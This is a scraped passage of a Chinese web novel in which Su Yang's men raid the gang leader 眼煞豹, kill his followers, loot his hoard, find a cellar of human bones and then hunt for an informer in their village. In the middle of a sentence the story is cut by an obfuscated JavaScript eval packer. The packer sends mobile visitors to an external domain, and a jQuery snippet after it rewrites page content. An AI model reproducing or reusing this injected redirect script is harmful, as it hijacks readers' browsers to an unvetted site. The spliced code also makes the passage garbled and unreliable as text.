只能说,眼煞豹的指挥才能实在是不敢恭维,他没有选择集中兵力突破一点,而是兵分多路,白白浪费了战机。 眼看着四个手下成功吸引了两边窗户的注意力,眼煞豹扯开嗓子,声嘶力竭地吼了一嗓子: “兄弟们,跟他们拼了!给我冲!” 话音未落,他猛地一把拽开屋门,顺手抄起一条板凳就狠狠地扔了出去。 那一刻,板凳划破空气,发出一阵刺耳的呼啸。 其实,如果早这么做,眼煞豹的手下或许还能多活几个。 可他偏偏没有。 若是一上来就祭出板凳,外面的人有了防备,也不至于重蹈覆辙,那这一招可就彻底废了。 所以,眼煞豹选择先用手下的命来麻痹敌人: 咱们都是一群废物点心,你们尽管放手去捅,保证一捅一个死! 你还真别说,这老阴比的招数还真就奏效了。 屋门猛地被打开,一个黑影“嗖”地就飞了出来。 埋伏在屋门两侧的那几个小子,根本就来不及分辨飞出来的是个啥,还以为跟之前一样,是有人要逃命呢。 出于本能反应,几杆**“唰唰唰”就朝着那黑影猛刺了过去! 苏阳站在院子当中,看得那叫一个真真切切。 他想出声阻止都来不及,门两侧的几个小子已经把手里的**给捅了出去。 眼煞豹这家伙也算得上是条硬汉,扔完板凳,紧跟着就把身边的一个倒霉蛋给一脚踹飞了出去。 然后,他自己也像一只猎豹似的,随即一个闪身冲出! “嗷……” 被眼煞豹当成肉盾的那个泼皮,连发生了什么事都不知道,就感觉胸口一阵剧痛,紧接着,视野里一片血红。 他甚至连惨叫都来不及发出一声,就被一杆**直接洞穿了身体! 这一枪,可不是石头捅的。 石头虽然在门口安排的人手最多,但他留了个心眼,让**手阿木一直瞄着门口,没有他的命令,不许放箭! 阿木一直牢记着石头的叮嘱,稳如泰山。 眼见那倒霉蛋被**捅穿,他甚至连眼睛都没眨一下,手里的**箭稳稳地瞄准了紧随其后的眼煞豹。 眼煞豹刚一冲出屋门,阿木手中的**箭就“嗖”地一声激射而出! 这一下又快又狠,直奔眼煞豹的面门! “铛!” 千钧一发之际,眼煞豹竟然从地上捡起了一块不知道是什么的铁片,挡在了面前。 **箭射在铁片上,发出了一声脆响,被弹飞了出去。 周阳和路旭东紧随其后,两杆**一左一右,直奔眼煞豹的要害刺去。 然而,眼煞豹这家伙的身手实在了得,只见他身子一矮,一个懒驴打滚,硬生生从两杆**的夹缝中钻了过去! 刚一落地,这家伙就跟装了弹簧似的,猛地从地上一跃而起,直奔院墙! 与此同时,屋里剩下的那些泼皮也跟潮水似的涌了出来。 因为天太黑,周阳和路旭东根本就分不清谁是谁。 眼瞅着后面人越涌越多,他俩只能放弃追杀眼煞豹,跟石头一起,转头对付起了那些不要命的泼皮。 眼煞豹三两步就蹿到了墙根底下,这时候,他才看清楚了站在院子中央的苏阳。 虽然看不清苏阳的模样,但眼煞豹用脚趾头也能猜到,这家伙肯定就是这次行动的头儿。 眼煞豹脚下不停,借着冲劲儿,一脚蹬在墙上,身子“嗖”地一下就蹿上了墙头! 他居高临下地看着苏阳,嘴角咧开,露出一个阴森森的笑容,仿佛在看一只待宰的羔羊。 他伸出舌头,缓缓地舔了舔嘴唇,接着,冲着苏阳做了一个割喉的动作,那挑衅的意味,简直不要太明显。 那眼神,仿佛在说: 兔崽子,你给老子等着,今儿个这事儿不算完,你们一个也别想活着离开!眼煞豹只觉得满嘴的牙都快被自己给咬碎了。 **! 一晚上,就一晚上! 自己辛辛苦苦攒了这么多年的家底,全**折在这儿了! 就连他这条小命,也差点儿就交代了。 眼煞豹心里那个恨啊,简直比挖了他家祖坟还难受。 他暗暗发狠,只要能活着离开这鬼地方,第一件事就是去找吕管事。 他要让吕管事出面,动用官府的力量,把这些挨千刀的王八蛋全都抓起来,**万段! 当然了,给兄弟们报仇雪恨只是个幌子。 他真正的目的,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113728|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斩草除根,以绝后患,把苏阳这伙人连根拔起。 可惜,他这如意算盘打得是挺响,老天爷却没打算让他如愿。 眼煞豹刚把一只脚抬起来,还没等踩上墙头呢。 突然,耳边传来“嘣嘣”几声弓弦震动的声响,像是催命的丧钟。 紧接着,他感觉大腿上传来一阵钻心的剧痛,仿佛被毒蛇狠狠地咬了一口。 他惨叫一声,腿一软,“扑通”一声,被甩飞到庭院中。 这一下摔得可不轻,眼煞豹只觉得浑身的骨头架子都快散了,眼前一阵发黑,差点儿没直接昏死过去。 把他射下来的,是埋伏在房顶上的**手。 之前院子里一片混战,人影乱晃,刀光剑影的,**手们怕误伤了自己人,一直憋着没敢放箭。 这下好了,眼煞豹自个儿爬上了墙头,这简直就是个明晃晃的靶子啊。 要是不射他,简直对不起手里这把价值百两银子的蹬张**! “嗖嗖嗖!” 三支**箭,带着刺耳的破空声,直奔眼煞豹而去。 不过,毕竟是仓促之间射出的,准头差了点儿意思。 两支箭射空了,只有一支,射中了眼煞豹的大腿。 二十斤重的强**,那威力可不是盖的。 **箭直接穿透了眼煞豹的皮肉,深深地扎进了他的大腿骨里。 这一下,别说是眼煞豹了,就是一头成年的老虎,也得疼得嗷嗷叫唤! 与此同时,前厅的厮杀总算告一段落。 眼煞豹本来就没带多少人手。 一部分人在厢房里睡觉的时候,就被苏阳他们摸了进去,割了喉咙。 还有几个倒霉蛋,被眼煞豹当成了探路的诱饵,白白送了性命。 最后跟着眼煞豹一起从屋里冲出来的,满打满算也就六七个人。 其中还有一个,被眼煞豹当成了**盾牌,挡了刀子。 剩下的那些泼皮一看,自家老麻这么不是东西,连自己人都坑,哪里还有什么斗志? 他们被守在门口的石头、周阳等人砍瓜切菜一般,干掉了好几个。 剩下的三个,直接“扑通”一声跪在了地上,一个劲儿地磕头求饶。 路旭东杀得兴起,红了眼,还想冲上去把这几个家伙也给结果了。 第一百七十五章 好在石头还算冷静,及时拦住了他。 要不然,路旭东非得把这几个人全给宰了不可。 不过,饶是如此,路旭东还是趁乱捅**其中两个。 最后只留下一个活口。 几乎就是眨眼之间,刚才还乱成一锅粥的院子,突然就安静了下来。 除了苏阳手下那些汉子们粗重的喘息声,就只剩下寒风呜呜地刮着,让人心里头发毛。 “石头,先别急着进去!扔个火把进去探探路!” 苏阳见石头提着刀,就要往屋里冲,赶紧大声喊道。 谁知道屋里头还藏没藏着人?万一有埋伏,那可就麻烦了。 现在大局已定,没必要再节外生枝。 他们出门的时候,特意带了火把以备不时之需。 只是为了不打草惊蛇,才一直没点。 很快,几支火把就被点燃了,火光熊熊,把整个院子照得通亮。 石头刚拿起一支火把,正准备往屋里扔。 突然,屋里传来一个人的哭喊声: “大佬高抬贵手!饶命啊!” 那声音,哭得那叫一个撕心裂肺,比**亲爹还要悲惨。 “滚出来!”石头瞪着眼睛,大声吼道。 “是是是,小的这就出来,这就出来……” 一个家伙连滚带爬地从屋里头钻了出来,刚一露头,就“扑通”一声跪在了石头面前。 他把头磕得像捣蒜一样,“咚咚”作响。 苏阳借着火光一看,顿时就笑了。 这**,还真是“人生何处不相逢”啊! 这家伙不是别人,正是之前跟张二痦、秃生一起,组团碰瓷的那个麻脸虎。 苏阳认出了麻脸虎,麻脸虎自然也认出了苏阳。 他吓得一个激灵,两眼一翻,差点儿就晕了过去。 不止是麻脸虎,另一个被捆得跟粽子似的泼皮,还有躺在地上一个劲儿哼哼的眼煞豹,也都认出了苏阳。 这几个人,吓得脸都白了,浑身抖得跟筛糠似的,就差没尿裤子了。 他们之前还以为,是哪个不开眼的黑帮势力,跑到他们的地盘上来撒野。 可做梦也没想到,竟然是青龙村的苏阳! 要说这眼煞豹,当初吃了苏阳的亏之后,也不是没想过报复。 他还特意找人打听过苏阳的底细。 结果一打听,嘿,这苏阳竟然是当年那个“苏老豹”的弟弟! 眼煞豹一听,顿时就乐了。 苏老豹? 什么玩意儿! 老子可是三溪镇响当当的黑道麻哥,能把一个只会打架斗殴的莽夫放在眼里? 再说了,苏老豹当年在三溪镇横行霸道的时候,他眼煞豹还在穿开裆裤呢,哪知道江湖上还有这么一号人物? 退一万步讲,就算他当年听说过苏老豹的名头,现在也照样不会把苏老豹放在眼里。 出来混的,谁不是踩着别人的尸体上位的? 别说苏老豹已经**,就是他还活着,眼煞豹也照样敢跟他掰掰手腕。 之所以一直没动手,不是因为怕了苏阳,更不是因为忌惮什么苏老豹。 说白了,就是想借苏阳立威! 他眼煞豹是什么人? 三溪镇的地面上,谁敢不给他几分面子? 可偏偏这个苏阳,不知死活,三番五次地跟他作对。 不收拾收拾他,以后这三溪镇,还有谁会把他眼煞豹放在眼里? 更何况,“一山不容二豹”,他起了个外号叫眼煞豹,跟“苏老豹”天生犯冲,不把姓苏的踩在脚底下,念头不通达。 至于苏阳是不是苏老豹的亲弟弟? 眼煞豹根本就不在乎。 他只知道,苏阳这小子,不过是个偷鸡摸狗的小混混,根本就没他哥苏老豹的半点儿本事。 说不定,那个苏老豹,当年也只是个虚张声势的草包,根本就没什么真本事,只是被青龙村的人给吹上了天! 所以,当他知道苏阳带人找上门来的时候,心里头是又惊又怒,还有一丝难以言喻的恐惧。 他惊的是,苏阳这小子竟然敢主动挑衅他。 怒的是,自己竟然被一个偷鸡摸狗的小混混给小瞧了。 至于那丝恐惧…… 则是因为他发现,苏阳这伙人,根本就不是什么小混混,而是一群真正的亡命徒! **,劲**,钢刀,盾牌…… 这些家伙,可不是拿来吓唬人的,而是真正用来**的! 一想到自己竟然招惹了这么一群煞星,眼煞豹就感觉一阵阵的后怕。 “银子在哪儿?” 苏阳没有理会眼煞豹,而是把目光转向了那个被捆着的泼皮。 “我……我不知道……我真 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他们怎么也没想到,苏阳这帮人竟然如此心狠手辣,说**就**,连眼睛都不眨一下。 没想到他们这么生猛,当初干嘛要去招惹他们? 现在好了,人为刀俎,我为鱼肉,这下场,怕是比死还要难受! “说吧,你们的银子,都藏在哪儿了?” 路旭东把刀架在了麻脸虎的脖子上,冷冷地问道。 “在……在地窖里……就在堂屋的地窖里……” 麻脸虎这会儿哪还敢有半点儿隐瞒? 他哆哆嗦嗦地把藏银子的地方说了出来。 和一般人家不同,眼煞豹这家伙,疑心病特别重。 他怕手下人偷他的钱,所以特意把地窖挖在了堂屋里。 人来人往的,谁敢在他的眼皮子底下动手脚?“阳哥儿,底下摆着几只巨型箱,没有危险。” 林韧猫着腰,急匆匆地从地窖里钻出来,凑到苏阳跟前,压低声音汇报。 苏阳微微颔首,下巴朝前点了点: “嗯,下去几个人,将那些白花花的搬上来。” 周阳拎小鸡一样把麻脸虎拽了上来,扔到一边。 第一百七十六章 毕明志早就按捺不住,一挥手,带着几个跃跃欲试的小子下了地窖。 不一会儿,嘿呦嘿呦的号子声响起,几个大箱子被抬了上来,重重地砸在地上,发出沉闷的声响。 一众小伙子眼睛都直了,死死盯着那几个大箱子,仿佛里面装的不是财宝,而是勾魂摄魄的妖精。 之前截胡青虎岭土匪的箱子和眼前的这几个一比,简直一个天上一个地下。 青虎岭那破箱子,一箱便装满千两白银。 眼前这几个,个头至少比青虎岭的箱子大了一倍还多,怕不是能装下两千两? 光是想想,就让人心跳加速,血脉贲张。 “开箱!” 苏阳言简意赅。 毕明志摩拳擦掌,深吸一口气,猛地掀开一个箱盖。 火把映照下,众人抻长了脖子,眼巴巴地往箱子里瞅。 满满当当,金光灿灿…… 可凑近了一看,哪是什么银子,竟是一箱子黄澄澄的铜钱! “这……” 小伙子们脸上的兴奋瞬间凝固,像是被兜头泼了一盆冰水,透心凉。 有人忍不住小声嘀咕: “阳哥儿不是说……有银子吗?” 苏阳倒没觉得有什么,他上辈子什么大风大浪没见过? 别说一箱子铜钱,就是一箱子石头,他也未必会眨一下眼。 当然,对这帮穷小子来说,一大箱铜钱,也算是一笔横财了。 可跟他们想象中那一箱子白花花的银子比起来…… 这落差,就跟新婚之夜发现新娘子是如花一样,让人难以接受。 毕明志不信邪,咬咬牙,又打开一个箱子。 “唉……” 众人又是一阵失望的叹息,又是满满一箱铜板。 陈木生憋了一肚子火,没处发泄,冲上去,“啪”的一声,给了麻脸虎一个大嘴巴子: “**,你们这是开钱庄还是开破烂铺子?弄这么多铜钱,当饭吃啊?” 麻脸虎捂着脸,疼得龇牙咧嘴,心里那叫一个委屈: “这位爷,您这话说的……有银子谁还稀罕铜钱啊?可这年头,兵荒马乱的,上哪儿弄那么多银子去?” 眼煞豹趴在地上装死,一言不发。 他心里比谁都清楚,这些银子都去了哪儿。 大头,都被吕管事那个老不死的给吞了! 剩下的,也都被他拿去打点关系,孝敬上头了。 能剩下这几箱子铜钱,已经是他精打细算,从牙缝里抠出来的了! 四个大箱子,一字排开。 三个装满了沉甸甸的铜钱,只有一个箱子里稀稀拉拉地躺着些银子,大概也就千把两的样子。 也算没白跑一趟。 苏阳心里琢磨着,这些铜钱应该是从那些输红了眼的赌徒手里赢来的。 三溪镇这地方,穷乡僻壤,来赌钱的多是些泥腿子,手里没几个油水,平时用的也都是些铜板,银子少得可怜。 就这几箱子铜钱和这点儿银子,还是眼煞豹东拼西凑,好不容易才攒下来的家底。 结果现在,全便宜了苏阳。 苏阳倒是不嫌弃,蚊子再小也是肉,有总比没有强。 他招呼几个小子,把箱子盖好,搬到院子外头的马车上。 苏阳早就料到可能会有意外收获,所以特意赶了辆马车过来。 一来是怕有兄弟受伤,可以拉人。 二来,真要缴获了什么东西,也方便运走。 “还有没有藏钱的地方?” 孔远山眼珠子一转,觉得这是个表忠心的好机会,连忙凑到苏阳跟前,自告奋勇地问道。 先前打架的时候,他怕得要死,躲在人堆里不敢露头。 现在大局已定,他又想跳出来抢功劳了。 “没……真没了……” 麻脸虎眼神飘忽,说话结结巴巴。 孔远山是什么人?最擅长察言观色,看人下菜碟。 他一看麻脸虎这副德行,就知道肯定还有猫腻。 孔远山指着不远处被路旭东一刀毙命的泼皮,阴恻恻地笑了: “怎么,你也想跟他一样,身首异处?” 麻脸虎吓得一个激灵,扑通一声跪倒在地,连连磕头: “爷,我说,我说!后院柴房……还有一个地窖,不过……” 孔远山不等麻脸虎说完,就急不可耐地向苏阳请示,带着几个手下,押着麻脸虎,直奔后院柴房。 …… 过了一会儿,孔远山面无人色地跑了回来,脚步虚浮,像是刚从阎王殿里走了一遭。 “超……阳哥儿,后院……地窖里……哇……” 孔远山话没说完,就跑到墙根底下,弯腰吐了起来,吐得昏天黑地,日月无光。 跟着 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柴房角落里,地窖的入口已经打开,那股令人窒息的恶臭,就是从里面散发出来的。 借着火把的光亮,苏阳朝地窖里看了一眼。 只一眼,苏阳就感觉头皮发麻,后背发凉。 地窖里,黑咕隆咚,阴气森森,一堆堆,一片片,白花花的…… 竟然全是人的骨头! 骷髅骨! “都给我过来,一个一个看清楚!” 苏阳强压下心头的震惊,指着地窖,对所有手下厉声说道: “好好看看,这就是你们以后要面对的!看看眼煞豹这帮王八蛋,都干了些什么伤天害理的事!” 他这么做,也是想给这些年轻人上一课,让他们明白,江湖险恶,人心难测。 有些事,做了就是做了,是要付出代价的。 不用苏阳解释,大伙儿也能猜到这些尸骨的来历。 无非就是两种人: 一种是借了**,还不起钱,被活活弄死的穷苦百姓; 另一种,就是赢了钱,却没命花的倒霉鬼,被眼煞豹他们**越货,毁尸灭迹。 第一百七十七章 看着地窖里堆积如山的尸骨,所有人都沉默了。 一股难以言说的愤怒,在众人心中蔓延。 原本,有些小子还觉得,眼煞豹虽然可恨,但他手下那些人,未必个个都罪该万死。 可现在,他们不这么想了。 这么多人惨死在这里,眼煞豹的手下不可能不知道。 明知道还助纣为虐,跟着眼煞豹一起作恶,来者不拒,都该千刀万剐! 苏阳看着默不作声的众人,眼神逐渐变得冰冷: “让木匠陈和那帮石匠大师速来,这眼煞豹,交给他们处置。” 他没有再提“亲手”二字。 因为苏阳知道,有些事情,不需要说的太明白。 陈木匠几人一直在院外等候。 陈木生得了令,立刻去把他们带了进来。 苏阳又让人领着他们,去后院柴房,亲眼看了看那骇人的地窖。 “几位师傅,地上躺着的那个,就是眼煞豹。” 苏阳指着地上装死的眼煞豹,淡淡地说道: “你们有什么冤屈,尽管跟他说。不用怕,出了事,有我担着。” 陈木匠几人一听“眼煞豹”三个字,顿时像打了鸡血一样,嗷嗷叫着扑了上去。 几个人把眼煞豹翻过来一看,顿时仇人相见,分外眼红。 “狗贼!还我家人命来!” 一个石匠目眦欲裂,一把揪住眼煞豹的头发,怒吼道。 另外几人也纷纷上前,拳打脚踢,恨不得把眼煞豹生吞活剥了。 眼煞豹知道再装死也没用了,索性开始卖惨: “几位叔叔,咱们都是一个镇子上的人,抬头不见低头见的,我眼煞豹是什么样的人,你们还不清楚吗?” 眼煞豹声泪俱下,开始大打苦情牌: “就算我再不是东西,也不能干出烧人房子,害人性命的事儿啊!几位叔叔,你们可别被奸人蒙蔽了双眼,认贼作父啊!我要真是凶手,那真正的凶手,岂不是要笑掉大牙?” 他这话,三分真,七分假,虚虚实实,真真假假。 几位老实巴交的石匠听了这话,也有些犹豫。 “真……真不是你干的?” 其中一个石匠迟疑地问道,手上的力气也松了几分。“说,” 苏阳没理会地上躺着的眼煞豹,指着麻脸虎,冷冷地吐出一个字。 “几位石匠师傅的家,是谁烧的?” “我……我不知道啊……” 麻脸虎快哭了,眼泪在眼眶里打转,他觉得自己比窦娥还冤。 这事和他一个小喽啰有什么关系? “旭东,动手!” 苏阳的声音不大,却像一道催命符。 “明白!” 路旭东答应得干脆,手里的大刀一挥,带起一阵风声。 麻脸虎感觉脖子后面凉飕飕的,一股凉气从脚底板直窜头顶。 这**也太不讲理了! 麻脸虎心里狂喊,老麻问话,关我屁事? 逮着小喽啰算什么好汉? 这话,麻脸虎也就敢在心里嘀咕。 他现在别说动,连眼珠子都不敢乱转,就怕被误会。 旁边那位,回话慢了点,现在已经凉透了! “好汉爷爷,饶命!我说,我说!” 麻脸虎扑通一声跪下,头磕得像捣蒜一样。 “我们老麻没亲自动手,是他……他派人干的,放火的不是他!” 麻脸虎一股脑全说了,生怕说慢了又挨刀子。 这话一出,院子里顿时炸开了锅。 所有人都愣住了,一个个张大了嘴,下巴差点掉地上。 眼煞豹这孙子,在这儿玩文字游戏呢? 没动手就是没亲手放火,派别人干的就不算? 合着大伙都是傻子? 几个石匠眼睛瞬间就红了,像是几头暴怒的公牛。 他们刚刚居然差点就信了这畜生的鬼话! 要不是苏阳多个心眼,就被这狗东西给糊弄过去了! 几个石匠越想越恨,牙齿咬得咯咯响。 回忆起被害的亲人,他们再也忍不住,抄起家伙就要和眼煞豹拼命。 “弄死你个王八蛋!” “老子劈了你!” “给俺爹娘偿命来!” …… 几个石匠怒吼着,抡起锤子、凿子,就朝眼煞豹招呼。 那架势,像是要把眼煞豹当成石头,凿成石渣! “啊!别,别动手!” 眼煞豹吓得屁滚尿流,连连躲闪。 他可不想脑袋上多几个窟窿。 真要被开了瓢,那以后还怎么混? “几位叔叔,别冲动,听我说!听我说啊……” 眼煞豹杀猪般嚎叫,可几个石匠根本不理他。 手里的家伙一下比一下狠,招招都往要害上招呼! 眼瞅着眼煞豹就要完蛋,他突然急中生智,冲着苏阳喊了起来 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苏阳环视四周,把众人的反应尽收眼底。 他没解释,只是盯着眼煞豹,缓缓开口: “我问你件事。” 眼煞豹一愣,心里打了个突。 这苏二葫芦里卖的什么药? 不是要招揽自己吗? 怎么感觉不对劲? “二爷……您……有事尽管吩咐,我一定知无不言,言无不尽……” 眼煞豹堆起笑脸,小心翼翼地回答。 苏阳眼神一冷:“我问你答,别那么多废话!” “是是是,二爷您问。” 眼煞豹连忙点头哈腰,心里却把苏阳祖宗十八代都骂遍了。 “等老子翻身,第一个就弄死你!” “在这三溪镇,我眼煞豹就是天!只要二爷您开口,上刀山下火海,我绝不皱一下眉头……” 眼煞豹还在表忠心,苏阳却不耐烦地打断了他。 “闭嘴!” 苏阳把目光转向麻脸虎: “你来说,他们咋知道那几个石匠大师在我这干活?” 麻脸虎扑通一声跪在地上,眼泪鼻涕流了一脸。 “你问他不行吗? 第一百七十八章 干嘛老盯着我?欺负老实人啊?” 麻脸虎心里委屈极了,却不敢说出来。 他现在只想赶紧把这事交代清楚,离这个煞星越远越好。 “好汉爷爷,是……是有人……告密……” 麻脸虎结结巴巴,声音发抖。 “接着说。” 苏阳语气平静,却带着一股不容置疑的威严。 麻脸虎深吸一口气,豁出去了: “是……是你们村……一个叫周阳的……来报的信……” 话音刚落,院子里瞬间安静下来,静得连根针掉在地上都能听见。 所有人的目光都集中在了周阳身上。 周阳脸色煞白,额头上冒出豆大的汗珠,身体微微颤抖。 他张了张嘴,想解释,却一个字也说不出来。 几个石匠的眼神像是刀子一样,恨不得把他千刀万剐。 如果不是顾忌苏阳,他们早就扑上去和周阳拼命了! “哦?” 苏阳挑了挑眉毛,没有说话,只是静静地看着周阳。 院子里的气氛压抑到了极点,让人喘不过气来。 大伙都知道,周阳平时最得苏阳信任。 现在出了这档子事,也不知道苏阳会怎么处理。 是秉公执法,还是包庇袒护? 谁也猜不透。 麻脸虎感觉自己快要窒息了,他恨不得给自己几个嘴巴子。 让你多嘴!让你多嘴! 这下好了,把周阳给供出来了,自己也得跟着倒霉! 他偷偷看了苏阳一眼,发现苏阳正盯着自己,眼神冰冷。 麻脸虎吓得赶紧低下头,大气都不敢喘。 时间一分一秒地过去,院子里静得可怕。 终于,苏阳开口了: “你,” 他指着麻脸虎,声音低沉: “周阳,什么时候,来告的密?” 麻脸虎感觉自己的脑袋嗡嗡作响,一片空白。 他张了张嘴,声音颤抖得不成样子: “是……是……前天?……不对,是昨天?……也……也不对……”“认识他不?”苏阳拿眼梢瞥了下路旭东,问瘫在地上的麻脸虎。 麻脸虎眼珠子乱转,脑袋摇得跟拨浪鼓似的:“不……不知道……” 可心里却把苏阳祖宗十八代都问候了一遍:这小兔崽子,一口一个“旭东”,叫得比谁都亲,还装模作样问老子?真当我傻? “旭东,”苏阳嘴角一勾,朝路旭东那儿偏了偏头,“过去‘请教请教’这位‘朋友’。” “得嘞!”路旭东早就摩拳擦掌,等不及了。 他一个箭步跨过去,蒲扇大的巴掌直接揪住麻脸虎的头发,像拖死狗一样往旁边拽。 “别,别!我说,我说还不行吗?他……他叫旭东……” 麻脸虎这回是真吓尿了。 眼前这帮人根本不按套路出牌,再耍小聪明,小命都得搁这儿。 可他还是低估了苏阳。 “旭东,继续。”苏阳淡淡吐出几个字。 麻脸虎杀猪般的嚎叫声瞬间响彻整个院子,不管他如何嚎叫,路旭东愣是没停手,硬生生把他拖到了墙根底下。 “好汉爷爷,好汉爷爷饶命!我……我知道眼煞豹那老贼还藏着金子!” 眼瞅着自己离墙根那棵歪脖子树越来越近,麻脸虎终于崩溃,竹筒倒豆子般嚷嚷起来。 路旭东的动作猛地一顿。 他回头望向苏阳,眼神里带着询问。 意外之喜? 苏阳心里闪过一丝兴奋,但面上依旧不动声色:“说下去。” “青……眼煞豹睡觉的床后面,有个暗阁,里……里面藏着宝贝……” “你个吃里扒外的狗东西,敢情你早就惦记上老子的宝贝了!”眼煞豹气得眼珠子都红了,他指着麻脸虎,声音都变了调,“啥时候知道的?给爷爷我说实话!” 苏阳懒得管这俩人的破事。 他问清了暗阁在哪儿,就让路旭东带几个人去“请宝贝”。 路旭东哪懂那些弯弯绕? 他抄起一把斧头,照着眼煞豹卧室的墙就是一通乱劈。 “咣当!” 一片砖墙遭受重击而松脱,直接掉了下来。 路旭东伸手进去一摸,又摸出来几块。 没多大会儿,一个黑洞洞的暗阁就露了出来。 边上一位少年提着火把朝内探照,好家伙! 路旭东的眼睛瞬间亮得跟贼偷了油灯似的。 金元宝! 十几个是有的! 还有一大堆珠光宝气的首饰,晃得人眼晕! 路旭东这辈子哪见过这阵仗? 他从床上扯下一块布,兜着金银珠宝就往苏阳跟前跑:“阳哥儿,您给掌掌眼……” 布一打开,周围的小子们都“嘶”地吸了口凉气。 那些个首饰,别说戴了 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苏阳没搭理眼煞豹的鬼话。 他指着陈木生,问还跪在地上的麻脸虎:“认识他不?” “认……认识,他……他叫石头……” 麻脸虎这回是真老实了。 刚才就因为嘴欠,把自己“攒”的家底都给搭进去了,这回再不老实,估计小命都难保! “那他呢?”苏阳又指着毕明志。 “这……不……不知道……” 这次麻脸虎是真的不知道。 苏阳平时都直接喊毕明志,没叫过他名字。 苏阳又指了指周阳:“那他呢?” “不……不认识……” 麻脸虎要哭了。 苏阳喊周阳的时候,他还在屋里头猫着呢,哪见过周阳长啥样? “呼……”周阳长出了一口气,感觉自己从鬼门关里走了一遭。 “呼……” 其他人也松了口气。 队伍里要真出了叛徒,那可比**人还难受。 麻脸虎以为自己要完,不料苏阳却换上了一副笑眯眯的表情:“那你总该认识那个来告密的周阳吧?” 麻脸虎也是个人精。 第一百七十九章 他立马就听出苏阳语气里的变化,周围那股子要**的味儿也淡了不少。 “这……” 他还是不敢说认识。 谁闲着没事会去看一个乡下人的长相? “那小子不老,走路的时候一脚高一脚低,身上肯定有伤……” 苏阳还是信麻脸虎的眼光的。 干碰瓷这行的,要是连人都看走眼了,早饿**。 他不仅知道石匠在自己手底下干活,还知道自己身边有个人叫周阳,看来是真有两把刷子。 告密的一定是青龙村的人,可到底是谁呢? 身上有伤…… 苏阳告诫自己:别慌,千万别冤枉了好人! 得把那个真正的王八蛋揪出来,以绝后患! “你总该认识那个来送信的吧?”苏阳转头问眼煞豹。 眼煞豹摇摇头,声音都是抖的:“不……不认识,小的只知道他叫周阳,长啥样真没见过,不过……不过再见着他,我一定能认出来……” “中,”苏阳一拍巴掌,“你们两个跟我过来一下,前往青龙村辨认身份!” 说着,他一挥手,立马有人把眼煞豹和麻脸虎捆了个结结实实,嘴里塞上破布,扔进了马车。 苏阳又走到几个石匠跟前,压低声音说:“几位师傅,先委屈你们一下,等我把那个告密的孙子揪出来,一定把眼煞豹交给你们发落!” 几个石匠连连点头。 苏阳不说,他们也得把那个告密的王八蛋找出来。 家破人亡的仇,不共戴天! 为了避免节外生枝,苏阳让人把院子又搜了一遍,连个耗子洞都没放过,就怕留下啥痕迹。 最后,苏阳才开始琢磨一件“雅事”——在墙上留几个字,也算到此一游!晨曦微露,青龙村还笼罩在一层薄雾之中。 苏阳一行人马不停蹄地赶回了村子,脚步声打破了清晨的宁静。 尽管一夜未眠,苏阳却丝毫不见疲态,一双眼睛反而精光四射。 他心里跟明镜似的:青龙村里藏着的那个告密者,就是个不定时**,指不定啥时候就爆了。 不把这颗雷挖出来,全村上下都甭想安生。 林绮娘和王婶也是一宿没合眼。俩人就那么干坐着,从黑夜熬到白天,心都提到了嗓子眼。直到看见苏阳和石头全须全尾地回来,这才长舒一口气,瘫坐在椅子上。 两个女人手忙脚乱地张罗早饭,熬了一锅黏糊糊的小米粥,又蒸了几个热气腾腾的白面馍,粮食的香气在屋里弥漫,驱散了屋里的寒意和疲惫。 另一边,钱晓柔住的屋里,小丫鬟翠环也被这动静惊醒,一个鲤鱼打挺从床上蹦了起来。 “小姐,小姐,快醒醒!小公子回来了!” 翠环一边穿衣服,一边推搡着还在迷糊的钱晓柔。 钱晓柔翻了个身,拿被子蒙住头,声音闷闷的:“不去,你去吧,别烦我。” “小姐,你就别装了!昨儿个晚上是谁翻来覆去睡不着,跟烙饼似的?我还以为咱家床上有虱子呢!” 翠环笑嘻嘻地调侃,手上的动作却没停。 “死丫头,胡说八道!看我不撕烂你的嘴!” 钱晓柔猛地坐起来,佯装生气地去挠翠环的痒痒,脸上却飞起两片红霞。 不止他们两家,村里但凡家里有男人跟着苏阳出去的,婆娘们都悬着一颗心。 听说自家男人回来了,天还没亮透,就有不少村民披星戴月地赶了过来。 她们想亲眼看看自家男人有没有事,哪怕只是远远地瞅一眼,也能落个心安。 人群中,压低的询问声,急切的呼唤声,交织在一起,让原本静谧的清晨变得嘈杂起来。 确认自家男人没事,婆娘们提到嗓子眼的心这才算落回了肚子里。 人声鼎沸,热闹非凡。 直到日上三竿,前来探望的村民才陆陆续续散去,留下的是满心的欢喜和庆幸。 苏阳也没闲着,由着大家伙儿闹腾。他心里清楚,这是人之常情,谁家男人出去冒险,婆娘能不担心? 等一众小子都填饱了肚子,歇足了力气,他这才清了清嗓子,示意大家伙儿安静。 “石头,去把锣给我敲起来!就说村里出了天大的事,让所有人都到晒粮场集合!” 苏阳的声音不高,但斩钉截铁,不容置疑。 石头二话不说,抄起锣锤就冲了出去。 “咣!咣咣!咣咣咣!” 震耳欲聋的锣声像炸雷一样在青龙村上空炸响,传遍了村子的每一个角落,把人吓得一激灵。 “咋了这是? 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“今天,我苏阳定要将他抓获,不然咱们青龙村永无宁日!” 苏阳的声音铿锵有力,掷地有声,震得人耳膜嗡嗡作响。 “啥?叛徒?” “谁这么缺德,干这种丧尽天良的事?” “是不是有人跟土匪勾搭上了?” 人群一下子炸开了锅,嗡嗡的议论声像潮水一样涌来。 许多人的目光都落在了赖志成身上,眼神里充满了怀疑和猜忌。 毕竟,苏阳之前就说过赖志成跟青虎岭的土匪不清不楚,这事儿在村里早就不是啥秘密了。 赖志成气得鼻子都歪了,脸色一阵青一阵白,跟开了染坊似的。 他心里又惊又怒,还有点慌,脑门上的汗珠子一个劲儿地往下淌。 因为他确实跟青虎岭的土匪有勾结,又遣次子传递消息,想借土匪的手弄死苏阳。 这事儿要是被抖出来,他这村正的位子可就坐到头了! 苏阳一指被捆得结结实实的眼煞豹和麻脸虎,厉声喝道: 